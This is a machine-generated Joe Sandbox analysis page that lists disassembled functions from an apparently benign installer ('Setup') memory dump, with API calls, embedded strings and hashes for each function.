String ID: AdditionalCommandLineSwitches$BlockingMutex$DisabledCommandLineSwitches$DownloadInstallSetting$FilesInUseSetting$ParameterInfo.xml$UserExperienceDataCollection$Using Serial Download and Install mechanism$Using Simultaneous Download and Install mechanism$schema validation failure: there must be a valid child element for Configuration.
API String ID: 2489616738-904804324
Opcode ID: a32d149fa5434ebfaa979d1ea673efd4b457d0a8ae1d4d360f3b49367b1a746c
Instruction ID: 19ff880ac05f6c1b35a40570c0035f7afda6d11be170b141d04f25f44ff6fe07
Opcode Fuzzy Hash: a32d149fa5434ebfaa979d1ea673efd4b457d0a8ae1d4d360f3b49367b1a746c
Instruction Fuzzy Hash: 3EA15F71604249EFCB14DFA8CA45AEEBBB9BF15318F144959F424E7780C734EA05CBA2

Function 639570F9 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 215COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000065), ref: 63957136

Part of subcall function 6395671F: __EH_prolog3.LIBCMT ref: 63956726
Part of subcall function 6395671F: PathIsRelativeW.SHLWAPI(?,0000004C,0000004C,63957142,?,00000000), ref: 63956745
Part of subcall function 6395671F: PathFileExistsW.SHLWAPI(?), ref: 63956751
Part of subcall function 6395671F: __CxxThrowException@8.LIBCMT ref: 639568B8

GetDlgItem.USER32(?,00000068), ref: 63957146

Part of subcall function 6394EDAE: SetWindowTextW.USER32(?,?), ref: 6394EDC5

GetDlgItem.USER32(?,00000069), ref: 63957159
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?,?,6397677E,000000FF), ref: 63957181

Part of subcall function 6395F532: __EH_prolog3.LIBCMT ref: 6395F539
Part of subcall function 6395F532: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,6397677E,000000FF), ref: 6395F555

Part of subcall function 63956615: CreateWindowExW.USER32(00000008,tooltips_class32,00000000,80000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 63956636
Part of subcall function 63956615: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,639572CF), ref: 63956648

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

SetDlgItemTextW.USER32(?,00000068,00000000), ref: 639571AF
SetDlgItemTextW.USER32(?,00000069,00000000), ref: 639571E7
GetWindowLongW.USER32(?,000000F0), ref: 63957263
SetWindowLongW.USER32(?,000000F0,00000000), ref: 63957272
GetDlgItem.USER32(?,00000066), ref: 639572FC

Part of subcall function 63956655: __EH_prolog3_GS.LIBCMT ref: 6395665C
Part of subcall function 63956655: _memset.LIBCMT ref: 639566C3
Part of subcall function 63956655: GetClientRect.USER32 ref: 639566E6
Part of subcall function 63956655: SendMessageW.USER32(00000001,00000432,00000000,?), ref: 639566FC

GetDlgItem.USER32(?,00000067), ref: 63957352

Part of subcall function 63956655: RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,?,00000040,6395730F,?,?,?,?,?,?,?,?,?), ref: 63956713

Strings

IDS_PRINT, xrefs: 639572D4
IDS_SAVE, xrefs: 63957325

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Item$Window$H_prolog3Text$LongPath$ClientCreateErrorExceptionException@8ExistsFileH_prolog3_LastMessageRaiseRectRelativeSendShowThrow_memset
String ID: IDS_PRINT$IDS_SAVE
API String ID: 3758966775-3437764585
Opcode ID: a9225414768022e3b8beff55024ae4163d2d6b95e2e2c10ff5ae7dc1fde7973e
Instruction ID: fe3a18f9c52e1ae3bfa08cf0852f00b4bc381985dd7f33ff2b49746599b002fb
Opcode Fuzzy Hash: a9225414768022e3b8beff55024ae4163d2d6b95e2e2c10ff5ae7dc1fde7973e
Instruction Fuzzy Hash: 128155396047019FCB04EF68C888A5ABBE6FF9A714F104A68F556DB3A1DB30E855CF41

Function 63966525 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 199comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6396652C

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6395E93B: __EH_prolog3.LIBCMT ref: 6395E942

CoInitialize.OLE32(00000000), ref: 63966596

Part of subcall function 6396697A: __EH_prolog3.LIBCMT ref: 63966981
Part of subcall function 6396697A: CoCreateInstance.OLE32(63947980,00000000,00000017,63947970,?,?,00000068,639665A6,?,?,?,?,63962A30,?,00000000,?), ref: 639669AC

CoCreateInstance.OLE32(63947930,00000000,00000017,63947970,00000001,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?), ref: 639665BE
CoUninitialize.OLE32(00000001,?,00000000,00000000,?,?,succeeded,?,?,?,63962A30,?,00000000,?,00000000,00000000), ref: 639666DE
__CxxThrowException@8.LIBCMT ref: 63966773

Strings

threw exception, xrefs: 63966537
Entering Function, xrefs: 6396657D
exiting function/method, xrefs: 639666E7
UIInfo.xml, xrefs: 63966739
Xml Document load failure, xrefs: 63966747
IronMan::UiDataT<class IronMan::CCmdLineSwitches>::CreateUiDataT, xrefs: 63966548
succeeded, xrefs: 63966617, 63966623

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$CreateInstance$Exception@8H_prolog3_catchInitializeThrowUninitialize
String ID: exiting function/method$Entering Function$IronMan::UiDataT<class IronMan::CCmdLineSwitches>::CreateUiDataT$UIInfo.xml$Xml Document load failure$succeeded$threw exception
API String ID: 4239111664-3845428783
Opcode ID: 74267141f97c7785ff53deeec89ee6335bd7471bee8bba2d8dab595637ec0167
Instruction ID: f2bd8cfda1c98b0db13f9178fd6800411ed766ad1edbeda0e6f932c87bd83beb
Opcode Fuzzy Hash: 74267141f97c7785ff53deeec89ee6335bd7471bee8bba2d8dab595637ec0167
Instruction Fuzzy Hash: 9F815B71901248EFEB01DFE8C884ADEBBB8AF5AB18F148059F554EB242D735DA45CF60

Function 6395757C Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 149windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63957583
__CxxThrowException@8.LIBCMT ref: 6395761F
GetParent.USER32(?), ref: 6395765D
SendMessageW.USER32(00000000,00000472,00000000,00000069), ref: 6395766C

Part of subcall function 639512AB: CloseHandle.KERNEL32(?,?,6395BB96), ref: 639512BC

GetParent.USER32(?), ref: 63957682

Part of subcall function 6394F415: GetDlgItem.USER32(?,00003024), ref: 6394F479
Part of subcall function 6394F415: GetWindowLongW.USER32(00000000,000000EB), ref: 6394F484
Part of subcall function 6394F415: SetWindowLongW.USER32(00000000,000000EB,00000001), ref: 6394F4C4

Part of subcall function 639577A9: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 639577CF

Part of subcall function 639683FD: _memcpy_s.LIBCMT ref: 6396844E

Part of subcall function 6395FB4F: __EH_prolog3.LIBCMT ref: 6395FB56
Part of subcall function 6395FB4F: GetParent.USER32(00000001), ref: 6395FB6B
Part of subcall function 6395FB4F: SendMessageW.USER32(00000000,00000481,00000001,00000000), ref: 6395FB78
Part of subcall function 6395FB4F: GetParent.USER32(00000001), ref: 6395FBB5
Part of subcall function 6395FB4F: SendMessageW.USER32(00000000,0000047E,?,?), ref: 6395FBC1
Part of subcall function 6395FB4F: GetParent.USER32(00000001), ref: 6395FBD3
Part of subcall function 6395FB4F: SendMessageW.USER32(00000000,00000480,?,?), ref: 6395FBDF

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 63957702
KiUserCallbackDispatcher.NTDLL(?,?), ref: 63957720
SetWindowLongW.USER32(000000FF,000000F4,00000066), ref: 6395772D
GetParent.USER32(000000FF), ref: 6395773C
SetWindowTextW.USER32(00000000,?), ref: 63957742
PostMessageW.USER32(000000FF,000006F5,00000000,00000000), ref: 63957752

Strings

Failed to initialize items information. engineDataProvider.InitializeItems() returned false, xrefs: 639575AF

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Message$ParentSend$Window$Long$H_prolog3$CallbackCloseDispatcherException@8HandleItemPostTextThrowUser_memcpy_s
String ID: Failed to initialize items information. engineDataProvider.InitializeItems() returned false
API String ID: 1640968947-1354499266
Opcode ID: d1aed0ea177a564d6fc2ca64155857cec1c1e314855af05f3ff45e2ab8c73be8
Instruction ID: d1f095aadf48fb7928711be632d562bcd742d5a9cf7189e17eae9fd01c890d1e
Opcode Fuzzy Hash: d1aed0ea177a564d6fc2ca64155857cec1c1e314855af05f3ff45e2ab8c73be8
Instruction Fuzzy Hash: 02514C71904205DFDB10EFA4C988A9E7BB8BF0A724F1441A4F955AF2A2DB31DD50CFA0

Function 6C8C787B Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 96registryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C7882
RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\PCHealth\ErrorReporting\DW\Installed,00000000,00020019,?,00000014,6C8C781A,?,6C8F831D,00000000), ref: 6C8C78B2
RegQueryValueExW.ADVAPI32(?,DW0200,00000000,00000000,?,?,?,6C8F831D,00000000), ref: 6C8C78D8
RegCloseKey.ADVAPI32(?,?,6C8F831D,00000000), ref: 6C8C78E4
GetFileAttributesW.KERNEL32(?,?,6C8F831D,00000000), ref: 6C8C78F9
SHGetFolderPathW.SHELL32(00000000,0000002B,00000000,00000000,?,?,6C8F831D,00000000), ref: 6C8C790E
GetFileAttributesW.KERNEL32(?,?,6C8F831D,00000000), ref: 6C8C7931
GetFileAttributesW.KERNEL32(?,?,6C8F831D,00000000), ref: 6C8C798A

Strings

DW0200, xrefs: 6C8C78C9
DW\DW20.exe, xrefs: 6C8C795E
\Microsoft Shared\DW\DW20.exe, xrefs: 6C8C791D
Software\Microsoft\PCHealth\ErrorReporting\DW\Installed, xrefs: 6C8C78A8

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: AttributesFile$CloseFolderH_prolog3OpenPathQueryValue
String ID: DW0200$DW\DW20.exe$Software\Microsoft\PCHealth\ErrorReporting\DW\Installed$\Microsoft Shared\DW\DW20.exe
API String ID: 2337823764-2373061612
Opcode ID: 2816d88f6774bd2adb35dbac9a79b7bcb4669c855ccf5f1acf065ed645d5b5dd
Instruction ID: 8e3e09c3e95c28c8a91ae1c95219010ed265538b71b198dd64cab0dd9c6e17c9
Opcode Fuzzy Hash: 2816d88f6774bd2adb35dbac9a79b7bcb4669c855ccf5f1acf065ed645d5b5dd
Instruction Fuzzy Hash: D7319670A1020DEFDF108FE5CD85ABFB679BF1531DF100A24E520A6690D738D955DBA2

Function 6394D923 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 228memoryfileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394D92A

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

PathIsRelativeW.SHLWAPI(00000000,00000000,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394D960
GetModuleFileNameW.KERNEL32(00000010,00000104,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394D9BA
PathCombineW.SHLWAPI(?,?,?,00000000,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394DA0D
__CxxThrowException@8.LIBCMT ref: 6394DAAF
SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,?,00000000,00000000,00000002,?,80000000,00000001,00000003,00000080,00000000,00000000), ref: 6394DAD0
SysAllocStringLen.OLEAUT32(00000000,?), ref: 6394DB07
ReadFile.KERNELBASE(?,?,?,?,00000000,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394DB38
CloseHandle.KERNELBASE(?,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394DBB5

Strings

Could not find mandatory data file %s. This is a bad package., xrefs: 6394DB6E
ReadXML failed to open XML file %s, with error %d, xrefs: 6394DA8B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: File$H_prolog3Path$AllocCloseCombineException@8HandleModuleNamePointerReadRelativeStringThrow
String ID: Could not find mandatory data file %s. This is a bad package.$ReadXML failed to open XML file %s, with error %d
API String ID: 3690754453-4172873023
Opcode ID: 0a9bb247d21431e3cf6afb9e9342899681df9bdf4d3243e5a45ce9aaa5f72603
Instruction ID: fa9c981e31767fe90c8bbf1d42d244a69f45e5b444c7ba6dd4f21fcd3cd00c7b
Opcode Fuzzy Hash: 0a9bb247d21431e3cf6afb9e9342899681df9bdf4d3243e5a45ce9aaa5f72603
Instruction Fuzzy Hash: FA914575904219AFDF01DFA8C8849DEBBB9EF5AB28F104515F511BB282C730EA558FA0

Function 6C8E473C Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 210commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8E4746

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F8380: __EH_prolog3.LIBCMT ref: 6C8F8387

Part of subcall function 6C8C388B: __EH_prolog3.LIBCMT ref: 6C8C3892

Part of subcall function 6C8E4464: __EH_prolog3.LIBCMT ref: 6C8E446B

Part of subcall function 6C8E4682: __EH_prolog3.LIBCMT ref: 6C8E4689

CoInitialize.OLE32(00000000), ref: 6C8E47F7
CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,?,?,?,?,?,6C8C3864,?,00000000,00000000,6C8FFA6E,00000738,IronMan::EngineData::CreateEngineData), ref: 6C8E4815

Part of subcall function 6C909D05: GetCommandLineW.KERNEL32(38D98A99,?,00000000,ParameterInfo.xml,?,?,?,00000000,?,?,?,?,ParameterInfo.xml,?,00000000,?), ref: 6C909D54

CoUninitialize.COMBASE(02F92298,00000000,?,?,succeeded,6C8BA794,?,?,?,?,6C8C3864,?,00000000,00000000,6C8FFA6E,00000738), ref: 6C8E48F0
SysFreeString.OLEAUT32(00000000), ref: 6C8E48F9
SysAllocString.OLEAUT32(?), ref: 6C8E492E
__CxxThrowException@8.LIBCMT ref: 6C8E49BE

Strings

threw exception, xrefs: 6C8E474B
ParameterInfo.xml, xrefs: 6C8E4985
IronMan::EngineData::CreateEngineData, xrefs: 6C8E475E
succeeded, xrefs: 6C8E4874

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$String$AllocCommandCreateException@8FreeH_prolog3_catchInitializeInstanceLineThrowUninitialize
String ID: IronMan::EngineData::CreateEngineData$ParameterInfo.xml$succeeded$threw exception
API String ID: 1482071144-3644667230
Opcode ID: 6a9c87901c6da982a76763894a092b3d476ab1863d80f0fada53a03cb2a62a9e
Instruction ID: 933f730909b9000a7d2c68373fbe2a8cd1175c7e3f79824ccf70e611b4d47044
Opcode Fuzzy Hash: 6a9c87901c6da982a76763894a092b3d476ab1863d80f0fada53a03cb2a62a9e
Instruction Fuzzy Hash: 56816A70900249EFCB10DFE8C984ADE7BB9AF8A318F108959F418EB741C775DA05CBA1

Function 639531A0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 183COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639531A7

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

_wcschr.LIBCMT ref: 639531E8
__CxxThrowException@8.LIBCMT ref: 639532A2

Part of subcall function 6396DBDB: RaiseException.KERNEL32(?,?,63969236,?,?,?,?,?,63969236,?,63977F54,639822B4), ref: 6396DC1D

PathIsRelativeW.SHLWAPI(00000000,?,00000000,00000028,63966F33,?,?,00000000,00000044,6396668B,?,00000000,00000000,?,?,succeeded), ref: 639532B9
PathFileExistsW.SHLWAPI(00000000,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 639532C6
PathFileExistsW.KERNELBASE(?,00000000,?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008), ref: 63953307
PathFileExistsW.KERNELBASE(?,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 6395330A

Part of subcall function 6394CA39: __EH_prolog3.LIBCMT ref: 6394CA40

Part of subcall function 6394CAC2: __EH_prolog3.LIBCMT ref: 6394CAC9

Part of subcall function 6394D170: __EH_prolog3.LIBCMT ref: 6394D177

Strings

UiInfo.xml has INVALID ResourceDLLName %s, xrefs: 63953222
^wu, xrefs: 639532C6
UIInfo.xml, xrefs: 63953234
Successfuly found file %s , xrefs: 63953341

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$Path$ExistsFile$ExceptionException@8RaiseRelativeThrow_wcschr
String ID: Successfuly found file %s $UIInfo.xml$UiInfo.xml has INVALID ResourceDLLName %s$^wu
API String ID: 1926448744-3220900665
Opcode ID: 451aa20cd6f1ebb7792ec9a53b26b2897ff0c2667a671846973b700e49af4341
Instruction ID: ae15d62e4608942f40c0d6b654a64901e00f8d54d5b4264faeb7b08ed0eb2cdc
Opcode Fuzzy Hash: 451aa20cd6f1ebb7792ec9a53b26b2897ff0c2667a671846973b700e49af4341
Instruction Fuzzy Hash: 18716BB1804249EFDF00DBF8C984ADEBBB8AF16B28F544555F410A7281DB30EA58CF61

Function 6395BF84 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 6395BF93
GetForegroundWindow.USER32 ref: 6395BFBB
SetForegroundWindow.USER32(?), ref: 6395BFF4
IsWindowVisible.USER32(?), ref: 6395BFD3

Part of subcall function 6394B93E: __EH_prolog3.LIBCMT ref: 6394B945

_memset.LIBCMT ref: 6395C021
GetSystemMenu.USER32(?,00000000,0000F060,00000000,?), ref: 6395C043
GetMenuItemInfoW.USER32(00000000), ref: 6395C04A
PostMessageW.USER32(?,0000067C,00000000,00000000), ref: 6395C080

Strings

0, xrefs: 6395C035
WM_ACTIVATEAPP: Focus stealer's windows was NOT visible, taking back focus, xrefs: 6395BFE3
WM_ACTIVATEAPP: Focus stealer's windows WAS visible, NOT taking back focus, xrefs: 6395BFFF

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$ForegroundMenu$H_prolog3InfoItemLongMessagePostSystemVisible_memset
String ID: 0$WM_ACTIVATEAPP: Focus stealer's windows WAS visible, NOT taking back focus$WM_ACTIVATEAPP: Focus stealer's windows was NOT visible, taking back focus
API String ID: 105400089-2282623533
Opcode ID: 17b5cf17c1f15cba593a1caf0df74a0325649fe33f77aba3300e6fdcac7003c9
Instruction ID: f95031b04abad85f80c1534831f58ee47b7d0605fc94a510af7520de4a64cda4
Opcode Fuzzy Hash: 17b5cf17c1f15cba593a1caf0df74a0325649fe33f77aba3300e6fdcac7003c9
Instruction Fuzzy Hash: E9212E32944209BFEF10AFB0DC09B893B68EB05BA5F148015FA15A91D1D7B1D5A0CFA9

Function 63966EE2 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 369COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63966EE9

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 639531A0: __EH_prolog3.LIBCMT ref: 639531A7
Part of subcall function 639531A0: _wcschr.LIBCMT ref: 639531E8
Part of subcall function 639531A0: __CxxThrowException@8.LIBCMT ref: 639532A2
Part of subcall function 639531A0: PathIsRelativeW.SHLWAPI(00000000,?,00000000,00000028,63966F33,?,?,00000000,00000044,6396668B,?,00000000,00000000,?,?,succeeded), ref: 639532B9
Part of subcall function 639531A0: PathFileExistsW.SHLWAPI(00000000,?,?,?,63962A30,?,00000000,?,00000000,00000000,?,?,00000000,00000008,6395E271,00000000), ref: 639532C6

Part of subcall function 639545DE: __EH_prolog3.LIBCMT ref: 639545E5

Part of subcall function 639560C9: __EH_prolog3.LIBCMT ref: 639560D0

Strings

SystemRequirementsPage, xrefs: 63967291
?, xrefs: 63967311
MaintenanceModePage, xrefs: 639671FF
Windows, xrefs: 63966F56
ResourceDll, xrefs: 63966EFC
FinishPage, xrefs: 6396717E
EulaPage, xrefs: 6396705A
ProgressPage, xrefs: 639670EC
WelcomePage, xrefs: 63966FAC

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$Path$Exception@8ExistsFileRelativeThrow_wcschr
String ID: ?$EulaPage$FinishPage$MaintenanceModePage$ProgressPage$ResourceDll$SystemRequirementsPage$WelcomePage$Windows
API String ID: 1182493169-944454811
Opcode ID: 13745b85b38b7000e796c1aec16195fb742c392789f39309448a2a236dba995c
Instruction ID: 02d3e9af16454cad7d7ac3bf743b4bf1624b0c09d8c38414467514a93aff5efc
Opcode Fuzzy Hash: 13745b85b38b7000e796c1aec16195fb742c392789f39309448a2a236dba995c
Instruction Fuzzy Hash: A4F1797190024DEFEB01DBE8C944BDEBBB8AF19718F184099F154E7282DB35DA45DB21

Function 6C8DE30E Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 365COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8DE315

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C8415: __EH_prolog3.LIBCMT ref: 6C8C841C

Part of subcall function 6C8CA378: __EH_prolog3.LIBCMT ref: 6C8CA37F

__CxxThrowException@8.LIBCMT ref: 6C8DE62B

Part of subcall function 6C9214AA: KiUserExceptionDispatcher.NTDLL(?,?,6C91C129,00000C00,?,?,?,?,6C91C129,00000C00,6C93BA3C,6C9576D4,00000C00,00000020,6C8FF845,?), ref: 6C9214EC

Strings

Compressed items need to have URL and CompressedDownloadSize authored., xrefs: 6C8DE6DC
IsPresent, xrefs: 6C8DE390
ApplicableIf, xrefs: 6C8DE3FD
ParameterInfo.xml, xrefs: 6C8DE5AC, 6C8DE6EA
ActionTable, xrefs: 6C8DE466
Compressed, xrefs: 6C8DE630, 6C8DE635, 6C8DE672
schema validation failure: wrong number of File child nodes!, xrefs: 6C8DE5A1
File, xrefs: 6C8DE529

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$DispatcherExceptionException@8ThrowUser
String ID: ActionTable$ApplicableIf$Compressed$Compressed items need to have URL and CompressedDownloadSize authored.$File$IsPresent$ParameterInfo.xml$schema validation failure: wrong number of File child nodes!
API String ID: 3417717588-3917201069
Opcode ID: a4a2adafceb54edc269d6919ac037db1be0e8f73bea6dc7eb386ea6b73aea8c0
Instruction ID: b41bdfa146d3f3d4adea9bf7baf4549492861a681d9ac73797c67b4cc76c1a41
Opcode Fuzzy Hash: a4a2adafceb54edc269d6919ac037db1be0e8f73bea6dc7eb386ea6b73aea8c0
Instruction Fuzzy Hash: 44E17270A05249EFDB14CFA8CA44ADDBBB9BF19318F148959F424EB740C734EA09CB65

Function 6C8E4AD9 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 314COMMON

Download Yara Rule
